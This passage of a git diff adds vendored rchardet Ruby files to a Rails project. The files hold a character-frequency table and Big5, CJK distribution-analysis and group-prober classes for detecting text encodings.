+11335,11336,11337,11338,11339,11340,11341,11342,11343,11344,11345,11346,11347,4960,11348,11349, #11248 +11350,11351,11352,11353,11354,11355,11356,11357,11358,11359,11360,11361,11362,11363,11364,11365, #11264 +11366,11367,11368,11369,11370,11371,11372,11373,11374,11375,11376,11377,3961,4961,11378,11379, #11280 +11380,11381,11382,11383,11384,11385,11386,11387,11388,11389,11390,11391,11392,11393,11394,11395, #11296 +11396,11397,4192,11398,11399,11400,11401,11402,11403,11404,11405,11406,11407,11408,11409,11410, #11312 +11411,4962,11412,11413,11414,11415,11416,11417,11418,11419,11420,11421,11422,11423,11424,11425, #11328 +11426,11427,11428,11429,11430,11431,11432,11433,11434,11435,11436,11437,11438,11439,11440,11441, #11344 +11442,11443,11444,11445,11446,11447,11448,11449,11450,11451,11452,11453,11454,11455,11456,11457, #11360 +11458,11459,11460,11461,11462,11463,11464,11465,11466,11467,11468,11469,4963,11470,11471,4491, #11376 +11472,11473,11474,11475,4964,11476,11477,11478,11479,11480,11481,11482,11483,11484,11485,11486, #11392 +11487,11488,11489,11490,11491,11492,4965,11493,11494,11495,11496,11497,11498,11499,11500,11501, #11408 +11502,11503,11504,11505,11506,11507,11508,11509,11510,11511,11512,11513,11514,11515,11516,11517, #11424 +11518,11519,11520,11521,11522,11523,11524,11525,11526,11527,11528,11529,3962,11530,11531,11532, #11440 +11533,11534,11535,11536,11537,11538,11539,11540,11541,11542,11543,11544,11545,11546,11547,11548, #11456 +11549,11550,11551,11552,11553,11554,11555,11556,11557,11558,11559,11560,11561,11562,11563,11564, #11472 +4193,4194,11565,11566,11567,11568,11569,11570,11571,11572,11573,11574,11575,11576,11577,11578, #11488 +11579,11580,11581,11582,11583,11584,11585,11586,11587,11588,11589,11590,11591,4966,4195,11592, #11504 +11593,11594,11595,11596,11597,11598,11599,11600,11601,11602,11603,11604,3090,11605,11606,11607, #11520 +11608,11609,11610,4967,11611,11612,11613,11614,11615,11616,11617,11618,11619,11620,11621,11622, #11536 +11623,11624,11625,11626,11627,11628,11629,11630,11631,11632,11633,11634,11635,11636,11637,11638, #11552 +11639,11640,11641,11642,11643,11644,11645,11646,11647,11648,11649,11650,11651,11652,11653,11654, #11568 +11655,11656,11657,11658,11659,11660,11661,11662,11663,11664,11665,11666,11667,11668,11669,11670, #11584 +11671,11672,11673,11674,4968,11675,11676,11677,11678,11679,11680,11681,11682,11683,11684,11685, #11600 +11686,11687,11688,11689,11690,11691,11692,11693,3809,11694,11695,11696,11697,11698,11699,11700, #11616 +11701,11702,11703,11704,11705,11706,11707,11708,11709,11710,11711,11712,11713,11714,11715,11716, #11632 +11717,11718,3553,11719,11720,11721,11722,11723,11724,11725,11726,11727,11728,11729,11730,4969, #11648 +11731,11732,11733,11734,11735,11736,11737,11738,11739,11740,4492,11741,11742,11743,11744,11745, #11664 +11746,11747,11748,11749,11750,11751,11752,4970,11753,11754,11755,11756,11757,11758,11759,11760, #11680 +11761,11762,11763,11764,11765,11766,11767,11768,11769,11770,11771,11772,11773,11774,11775,11776, #11696 +11777,11778,11779,11780,11781,11782,11783,11784,11785,11786,11787,11788,11789,11790,4971,11791, #11712 +11792,11793,11794,11795,11796,11797,4972,11798,11799,11800,11801,11802,11803,11804,11805,11806, #11728 +11807,11808,11809,11810,4973,11811,11812,11813,11814,11815,11816,11817,11818,11819,11820,11821, #11744 +11822,11823,11824,11825,11826,11827,11828,11829,11830,11831,11832,11833,11834,3680,3810,11835, #11760 +11836,4974,11837,11838,11839,11840,11841,11842,11843,11844,11845,11846,11847,11848,11849,11850, #11776 +11851,11852,11853,11854,11855,11856,11857,11858,11859,11860,11861,11862,11863,11864,11865,11866, #11792 +11867,11868,11869,11870,11871,11872,11873,11874,11875,11876,11877,11878,11879,11880,11881,11882, #11808 +11883,11884,4493,11885,11886,11887,11888,11889,11890,11891,11892,11893,11894,11895,11896,11897, #11824 +11898,11899,11900,11901,11902,11903,11904,11905,11906,11907,11908,11909,11910,11911,11912,11913, #11840 +11914,11915,4975,11916,11917,11918,11919,11920,11921,11922,11923,11924,11925,11926,11927,11928, #11856 +11929,11930,11931,11932,11933,11934,11935,11936,11937,11938,11939,11940,11941,11942,11943,11944, #11872 +11945,11946,11947,11948,11949,4976,11950,11951,11952,11953,11954,11955,11956,11957,11958,11959, #11888 +11960,11961,11962,11963,11964,11965,11966,11967,11968,11969,11970,11971,11972,11973,11974,11975, #11904 +11976,11977,11978,11979,11980,11981,11982,11983,11984,11985,11986,11987,4196,11988,11989,11990, #11920 +11991,11992,4977,11993,11994,11995,11996,11997,11998,11999,12000,12001,12002,12003,12004,12005, #11936 +12006,12007,12008,12009,12010,12011,12012,12013,12014,12015,12016,12017,12018,12019,12020,12021, #11952 +12022,12023,12024,12025,12026,12027,12028,12029,12030,12031,12032,12033,12034,12035,12036,12037, #11968 +12038,12039,12040,12041,12042,12043,12044,12045,12046,12047,12048,12049,12050,12051,12052,12053, #11984 +12054,12055,12056,12057,12058,12059,12060,12061,4978,12062,12063,12064,12065,12066,12067,12068, #12000 +12069,12070,12071,12072,12073,12074,12075,12076,12077,12078,12079,12080,12081,12082,12083,12084, #12016 +12085,12086,12087,12088,12089,12090,12091,12092,12093,12094,12095,12096,12097,12098,12099,12100, #12032 +12101,12102,12103,12104,12105,12106,12107,12108,12109,12110,12111,12112,12113,12114,12115,12116, #12048 +12117,12118,12119,12120,12121,12122,12123,4979,12124,12125,12126,12127,12128,4197,12129,12130, #12064 +12131,12132,12133,12134,12135,12136,12137,12138,12139,12140,12141,12142,12143,12144,12145,12146, #12080 +12147,12148,12149,12150,12151,12152,12153,12154,4980,12155,12156,12157,12158,12159,12160,4494, #12096 +12161,12162,12163,12164,3811,12165,12166,12167,12168,12169,4495,12170,12171,4496,12172,12173, #12112 +12174,12175,12176,3812,12177,12178,12179,12180,12181,12182,12183,12184,12185,12186,12187,12188, #12128 +12189,12190,12191,12192,12193,12194,12195,12196,12197,12198,12199,12200,12201,12202,12203,12204, #12144 +12205,12206,12207,12208,12209,12210,12211,12212,12213,12214,12215,12216,12217,12218,12219,12220, #12160 +12221,4981,12222,12223,12224,12225,12226,12227,12228,12229,12230,12231,12232,12233,12234,12235, #12176 +4982,12236,12237,12238,12239,12240,12241,12242,12243,12244,12245,4983,12246,12247,12248,12249, #12192 +4984,12250,12251,12252,12253,12254,12255,12256,12257,12258,12259,12260,12261,12262,12263,12264, #12208 +4985,12265,4497,12266,12267,12268,12269,12270,12271,12272,12273,12274,12275,12276,12277,12278, #12224 +12279,12280,12281,12282,12283,12284,12285,12286,12287,4986,12288,12289,12290,12291,12292,12293, #12240 +12294,12295,12296,2473,12297,12298,12299,12300,12301,12302,12303,12304,12305,12306,12307,12308, #12256 +12309,12310,12311,12312,12313,12314,12315,12316,12317,12318,12319,3963,12320,12321,12322,12323, #12272 +12324,12325,12326,12327,12328,12329,12330,12331,12332,4987,12333,12334,12335,12336,12337,12338, #12288 +12339,12340,12341,12342,12343,12344,12345,12346,12347,12348,12349,12350,12351,12352,12353,12354, #12304 +12355,12356,12357,12358,12359,3964,12360,12361,12362,12363,12364,12365,12366,12367,12368,12369, #12320 +12370,3965,12371,12372,12373,12374,12375,12376,12377,12378,12379,12380,12381,12382,12383,12384, #12336 +12385,12386,12387,12388,12389,12390,12391,12392,12393,12394,12395,12396,12397,12398,12399,12400, #12352 +12401,12402,12403,12404,12405,12406,12407,12408,4988,12409,12410,12411,12412,12413,12414,12415, #12368 +12416,12417,12418,12419,12420,12421,12422,12423,12424,12425,12426,12427,12428,12429,12430,12431, #12384 +12432,12433,12434,12435,12436,12437,12438,3554,12439,12440,12441,12442,12443,12444,12445,12446, #12400 +12447,12448,12449,12450,12451,12452,12453,12454,12455,12456,12457,12458,12459,12460,12461,12462, #12416 +12463,12464,4989,12465,12466,12467,12468,12469,12470,12471,12472,12473,12474,12475,12476,12477, #12432 +12478,12479,12480,4990,12481,12482,12483,12484,12485,12486,12487,12488,12489,4498,12490,12491, #12448 +12492,12493,12494,12495,12496,12497,12498,12499,12500,12501,12502,12503,12504,12505,12506,12507, #12464 +12508,12509,12510,12511,12512,12513,12514,12515,12516,12517,12518,12519,12520,12521,12522,12523, #12480 +12524,12525,12526,12527,12528,12529,12530,12531,12532,12533,12534,12535,12536,12537,12538,12539, #12496 +12540,12541,12542,12543,12544,12545,12546,12547,12548,12549,12550,12551,4991,12552,12553,12554, #12512 +12555,12556,12557,12558,12559,12560,12561,12562,12563,12564,12565,12566,12567,12568,12569,12570, #12528 +12571,12572,12573,12574,12575,12576,12577,12578,3036,12579,12580,12581,12582,12583,3966,12584, #12544 +12585,12586,12587,12588,12589,12590,12591,12592,12593,12594,12595,12596,12597,12598,12599,12600, #12560 +12601,12602,12603,12604,12605,12606,12607,12608,12609,12610,12611,12612,12613,12614,12615,12616, #12576 +12617,12618,12619,12620,12621,12622,12623,12624,12625,12626,12627,12628,12629,12630,12631,12632, #12592 +12633,12634,12635,12636,12637,12638,12639,12640,12641,12642,12643,12644,12645,12646,4499,12647, #12608 +12648,12649,12650,12651,12652,12653,12654,12655,12656,12657,12658,12659,12660,12661,12662,12663, #12624 +12664,12665,12666,12667,12668,12669,12670,12671,12672,12673,12674,12675,12676,12677,12678,12679, #12640 +12680,12681,12682,12683,12684,12685,12686,12687,12688,12689,12690,12691,12692,12693,12694,12695, #12656 +12696,12697,12698,4992,12699,12700,12701,12702,12703,12704,12705,12706,12707,12708,12709,12710, #12672 +12711,12712,12713,12714,12715,12716,12717,12718,12719,12720,12721,12722,12723,12724,12725,12726, #12688 +12727,12728,12729,12730,12731,12732,12733,12734,12735,12736,12737,12738,12739,12740,12741,12742, #12704 +12743,12744,12745,12746,12747,12748,12749,12750,12751,12752,12753,12754,12755,12756,12757,12758, #12720 +12759,12760,12761,12762,12763,12764,12765,12766,12767,12768,12769,12770,12771,12772,12773,12774, #12736 +12775,12776,12777,12778,4993,2175,12779,12780,12781,12782,12783,12784,12785,12786,4500,12787, #12752 +12788,12789,12790,12791,12792,12793,12794,12795,12796,12797,12798,12799,12800,12801,12802,12803, #12768 +12804,12805,12806,12807,12808,12809,12810,12811,12812,12813,12814,12815,12816,12817,12818,12819, #12784 +12820,12821,12822,12823,12824,12825,12826,4198,3967,12827,12828,12829,12830,12831,12832,12833, #12800 +12834,12835,12836,12837,12838,12839,12840,12841,12842,12843,12844,12845,12846,12847,12848,12849, #12816 +12850,12851,12852,12853,12854,12855,12856,12857,12858,12859,12860,12861,4199,12862,12863,12864, #12832 +12865,12866,12867,12868,12869,12870,12871,12872,12873,12874,12875,12876,12877,12878,12879,12880, #12848 +12881,12882,12883,12884,12885,12886,12887,4501,12888,12889,12890,12891,12892,12893,12894,12895, #12864 +12896,12897,12898,12899,12900,12901,12902,12903,12904,12905,12906,12907,12908,12909,12910,12911, #12880 +12912,4994,12913,12914,12915,12916,12917,12918,12919,12920,12921,12922,12923,12924,12925,12926, #12896 +12927,12928,12929,12930,12931,12932,12933,12934,12935,12936,12937,12938,12939,12940,12941,12942, #12912 +12943,12944,12945,12946,12947,12948,12949,12950,12951,12952,12953,12954,12955,12956,1772,12957, #12928 +12958,12959,12960,12961,12962,12963,12964,12965,12966,12967,12968,12969,12970,12971,12972,12973, #12944 +12974,12975,12976,12977,12978,12979,12980,12981,12982,12983,12984,12985,12986,12987,12988,12989, #12960 +12990,12991,12992,12993,12994,12995,12996,12997,4502,12998,4503,12999,13000,13001,13002,13003, #12976 +4504,13004,13005,13006,13007,13008,13009,13010,13011,13012,13013,13014,13015,13016,13017,13018, #12992 +13019,13020,13021,13022,13023,13024,13025,13026,13027,13028,13029,3449,13030,13031,13032,13033, #13008 +13034,13035,13036,13037,13038,13039,13040,13041,13042,13043,13044,13045,13046,13047,13048,13049, #13024 +13050,13051,13052,13053,13054,13055,13056,13057,13058,13059,13060,13061,13062,13063,13064,13065, #13040 +13066,13067,13068,13069,13070,13071,13072,13073,13074,13075,13076,13077,13078,13079,13080,13081, #13056 +13082,13083,13084,13085,13086,13087,13088,13089,13090,13091,13092,13093,13094,13095,13096,13097, #13072 +13098,13099,13100,13101,13102,13103,13104,13105,13106,13107,13108,13109,13110,13111,13112,13113, #13088 +13114,13115,13116,13117,13118,3968,13119,4995,13120,13121,13122,13123,13124,13125,13126,13127, #13104 +4505,13128,13129,13130,13131,13132,13133,13134,4996,4506,13135,13136,13137,13138,13139,4997, #13120 +13140,13141,13142,13143,13144,13145,13146,13147,13148,13149,13150,13151,13152,13153,13154,13155, #13136 +13156,13157,13158,13159,4998,13160,13161,13162,13163,13164,13165,13166,13167,13168,13169,13170, #13152 +13171,13172,13173,13174,13175,13176,4999,13177,13178,13179,13180,13181,13182,13183,13184,13185, #13168 +13186,13187,13188,13189,13190,13191,13192,13193,13194,13195,13196,13197,13198,13199,13200,13201, #13184 +13202,13203,13204,13205,13206,5000,13207,13208,13209,13210,13211,13212,13213,13214,13215,13216, #13200 +13217,13218,13219,13220,13221,13222,13223,13224,13225,13226,13227,4200,5001,13228,13229,13230, #13216 +13231,13232,13233,13234,13235,13236,13237,13238,13239,13240,3969,13241,13242,13243,13244,3970, #13232 +13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260, #13248 +13261,13262,13263,13264,13265,13266,13267,13268,3450,13269,13270,13271,13272,13273,13274,13275, #13264 +13276,5002,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290, #13280 +13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,3813,13303,13304,13305, #13296 +13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321, #13312 +13322,13323,13324,13325,13326,13327,13328,4507,13329,13330,13331,13332,13333,13334,13335,13336, #13328 +13337,13338,13339,13340,13341,5003,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351, #13344 +13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367, #13360 +5004,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382, #13376 +13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398, #13392 +13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414, #13408 +13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430, #13424 +13431,13432,4508,13433,13434,13435,4201,13436,13437,13438,13439,13440,13441,13442,13443,13444, #13440 +13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,5005,13458,13459, #13456 +13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,4509,13471,13472,13473,13474, #13472 +13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490, #13488 +13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506, #13504 +13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522, #13520 +13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538, #13536 +13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554, #13552 +13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570, #13568 +13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586, #13584 +13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602, #13600 +13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618, #13616 +13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634, #13632 +13635,13636,13637,13638,13639,13640,13641,13642,5006,13643,13644,13645,13646,13647,13648,13649, #13648 +13650,13651,5007,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664, #13664 +13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680, #13680 +13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696, #13696 +13697,13698,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712, #13712 +13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728, #13728 +13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744, #13744 +13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760, #13760 +13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,3273,13775, #13776 +13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791, #13792 +13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807, #13808 +13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823, #13824 +13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839, #13840 +13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855, #13856 +13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867,13868,13869,13870,13871, #13872 +13872,13873,13874,13875,13876,13877,13878,13879,13880,13881,13882,13883,13884,13885,13886,13887, #13888 +13888,13889,13890,13891,13892,13893,13894,13895,13896,13897,13898,13899,13900,13901,13902,13903, #13904 +13904,13905,13906,13907,13908,13909,13910,13911,13912,13913,13914,13915,13916,13917,13918,13919, #13920 +13920,13921,13922,13923,13924,13925,13926,13927,13928,13929,13930,13931,13932,13933,13934,13935, #13936 +13936,13937,13938,13939,13940,13941,13942,13943,13944,13945,13946,13947,13948,13949,13950,13951, #13952 +13952,13953,13954,13955,13956,13957,13958,13959,13960,13961,13962,13963,13964,13965,13966,13967, #13968 +13968,13969,13970,13971,13972] #13973 +end + diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5prober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5prober.rb new file mode 100755 index 00000000..6b6ebccb --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/big5prober.rb @@ -0,0 +1,42 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class Big5Prober < MultiByteCharSetProber + def initialize + super + @_mCodingSM = CodingStateMachine.new(Big5SMModel) + @_mDistributionAnalyzer = Big5DistributionAnalysis.new() + reset() + end + + def get_charset_name + return "Big5" + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/chardistribution.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/chardistribution.rb new file mode 100755 index 00000000..de873a3e --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/chardistribution.rb @@ -0,0 +1,238 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s) + +# Jeff Hodges +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + ENOUGH_DATA_THRESHOLD = 1024 + SURE_YES = 0.99 + SURE_NO = 0.01 + + class CharDistributionAnalysis + def initialize + @_mCharToFreqOrder = nil # Mapping table to get frequency order from char order (get from GetOrder()) + @_mTableSize = nil # Size of above table + @_mTypicalDistributionRatio = nil # This is a constant value which varies from language to language, used in calculating confidence. See http://www.mozilla.org/projects/intl/UniversalCharsetDetection.html for further detail. + reset() + end + + def reset + # # """reset analyser, clear any state""" + @_mDone = false # If this flag is set to constants.True, detection is done and conclusion has been made + @_mTotalChars = 0 # Total characters encountered + @_mFreqChars = 0 # The number of characters whose frequency order is less than 512 + end + + def feed(aStr, aCharLen) + # # """feed a character with known length""" + if aCharLen == 2 + # we only care about 2-bytes character in our distribution analysis + order = get_order(aStr) + else + order = -1 + end + if order >= 0 + @_mTotalChars += 1 + # order is valid + if order < @_mTableSize + if 512 > @_mCharToFreqOrder[order] + @_mFreqChars += 1 + end + end + end + end + + def get_confidence + # """return confidence based on existing data""" + # if we didn't receive any character in our consideration range, return negative answer + if @_mTotalChars <= 0 + return SURE_NO + end + + if @_mTotalChars != @_mFreqChars + r = @_mFreqChars / ((@_mTotalChars - @_mFreqChars) * @_mTypicalDistributionRatio) + if r < SURE_YES + return r + end + end + + # normalize confidence (we don't want to be 100% sure) + return SURE_YES + end + + def got_enough_data + # It is not necessary to receive all data to draw conclusion. For charset detection, + # certain amount of data is enough + return @_mTotalChars > ENOUGH_DATA_THRESHOLD + end + + def get_order(aStr) + # We do not handle characters based on the original encoding string, but + # convert this encoding string to a number, here called order. + # This allows multiple encodings of a language to share one frequency table. + return -1 + end + end + + class EUCTWDistributionAnalysis < CharDistributionAnalysis + def initialize + super() + @_mCharToFreqOrder = EUCTWCharToFreqOrder + @_mTableSize = EUCTW_TABLE_SIZE + @_mTypicalDistributionRatio = EUCTW_TYPICAL_DISTRIBUTION_RATIO + end + + def get_order(aStr) + # for euc-TW encoding, we are interested + # first byte range: 0xc4 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + if aStr[0..0] >= "\xC4" + return 94 * (aStr[0] - 0xC4) + aStr[1] - 0xA1 + else + return -1 + end + end + end + + class EUCKRDistributionAnalysis < CharDistributionAnalysis + def initialize + super() + @_mCharToFreqOrder = EUCKRCharToFreqOrder + @_mTableSize = EUCKR_TABLE_SIZE + @_mTypicalDistributionRatio = EUCKR_TYPICAL_DISTRIBUTION_RATIO + end + + def get_order(aStr) + # for euc-KR encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + if aStr[0..0] >= "\xB0" + return 94 * (aStr[0] - 0xB0) + aStr[1] - 0xA1 + else + return -1 + end + end + end + + class GB2312DistributionAnalysis < CharDistributionAnalysis + def initialize + super() + @_mCharToFreqOrder = GB2312CharToFreqOrder + @_mTableSize = GB2312_TABLE_SIZE + @_mTypicalDistributionRatio = GB2312_TYPICAL_DISTRIBUTION_RATIO + end + + def get_order(aStr) + # for GB2312 encoding, we are interested + # first byte range: 0xb0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + if (aStr[0..0] >= "\xB0") and (aStr[1..1] >= "\xA1") + return 94 * (aStr[0] - 0xB0) + aStr[1] - 0xA1 + else + return -1 + end + end + end + + class Big5DistributionAnalysis < CharDistributionAnalysis + def initialize + super + @_mCharToFreqOrder = Big5CharToFreqOrder + @_mTableSize = BIG5_TABLE_SIZE + @_mTypicalDistributionRatio = BIG5_TYPICAL_DISTRIBUTION_RATIO + end + + def get_order(aStr) + # for big5 encoding, we are interested + # first byte range: 0xa4 -- 0xfe + # second byte range: 0x40 -- 0x7e , 0xa1 -- 0xfe + # no validation needed here. State machine has done that + if aStr[0..0] >= "\xA4" + if aStr[1..1] >= "\xA1" + return 157 * (aStr[0] - 0xA4) + aStr[1] - 0xA1 + 63 + else + return 157 * (aStr[0] - 0xA4) + aStr[1] - 0x40 + end + else + return -1 + end + end + end + + class SJISDistributionAnalysis < CharDistributionAnalysis + def initialize + super() + @_mCharToFreqOrder = JISCharToFreqOrder + @_mTableSize = JIS_TABLE_SIZE + @_mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO + end + + def get_order(aStr) + # for sjis encoding, we are interested + # first byte range: 0x81 -- 0x9f , 0xe0 -- 0xfe + # second byte range: 0x40 -- 0x7e, 0x81 -- oxfe + # no validation needed here. State machine has done that + aStr = aStr[0..1].join if aStr.class == Array + if (aStr[0..0] >= "\x81") and (aStr[0..0] <= "\x9F") + order = 188 * (aStr[0] - 0x81) + elsif (aStr[0..0] >= "\xE0") and (aStr[0..0] <= "\xEF") + order = 188 * (aStr[0] - 0xE0 + 31) + else + return -1 + end + order = order + aStr[1] - 0x40 + if aStr[1..1] > "\x7F" + order =- 1 + end + return order + end + end + + class EUCJPDistributionAnalysis < CharDistributionAnalysis + def initialize + super() + @_mCharToFreqOrder = JISCharToFreqOrder + @_mTableSize = JIS_TABLE_SIZE + @_mTypicalDistributionRatio = JIS_TYPICAL_DISTRIBUTION_RATIO + end + + def get_order(aStr) + # for euc-JP encoding, we are interested + # first byte range: 0xa0 -- 0xfe + # second byte range: 0xa1 -- 0xfe + # no validation needed here. State machine has done that + if aStr[0..0] >= "\xA0" + return 94 * (aStr[0] - 0xA1) + aStr[1] - 0xa1 + else + return -1 + end + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetgroupprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetgroupprober.rb new file mode 100755 index 00000000..0feebca5 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetgroupprober.rb @@ -0,0 +1,112 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s) +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet + class CharSetGroupProber < CharSetProber + attr_accessor :_mProbers + def initialize + super + @_mActiveNum = 0 + @_mProbers = [] + @_mBestGuessProber = nil + end + + def reset + super + @_mActiveNum = 0 + + for prober in @_mProbers + if prober + prober.reset() + prober.active = true + @_mActiveNum += 1 + end + end + @_mBestGuessProber = nil + end + + def get_charset_name + if not @_mBestGuessProber + get_confidence() + return nil unless @_mBestGuessProber + # self._mBestGuessProber = self._mProbers[0] + end + return @_mBestGuessProber.get_charset_name() + end + + def feed(aBuf) + for prober in @_mProbers + next unless prober + next unless prober.active + st = prober.feed(aBuf) + next unless st + if st == EFoundIt + @_mBestGuessProber = prober + return get_state() + elsif st == ENotMe + prober.active = false + @_mActiveNum -= 1 + if @_mActiveNum <= 0 + @_mState = ENotMe + return get_state() + end + end + end + return get_state() + end + + def get_confidence() + st = get_state() + if st == EFoundIt + return 0.99 + elsif st == ENotMe + return 0.01 + end + bestConf = 0.0 + @_mBestGuessProber = nil + for prober in @_mProbers + next unless prober + unless prober.active + $stderr << "#{prober.get_charset_name()} not active\n" if $debug + next + end + cf = prober.get_confidence() + $stderr << "#{prober.get_charset_name} confidence = #{cf}\n" if $debug + if bestConf < cf + bestConf = cf + @_mBestGuessProber = prober + end + end + return 0.0 unless @_mBestGuessProber + return bestConf + # else + # self._mBestGuessProber = self._mProbers[0] + # return self._mBestGuessProber.get_confidence() + end + end +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetprober.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/charsetprober.rb new file mode 100755 index 00000000..ce58cacc --- /dev/null +++ 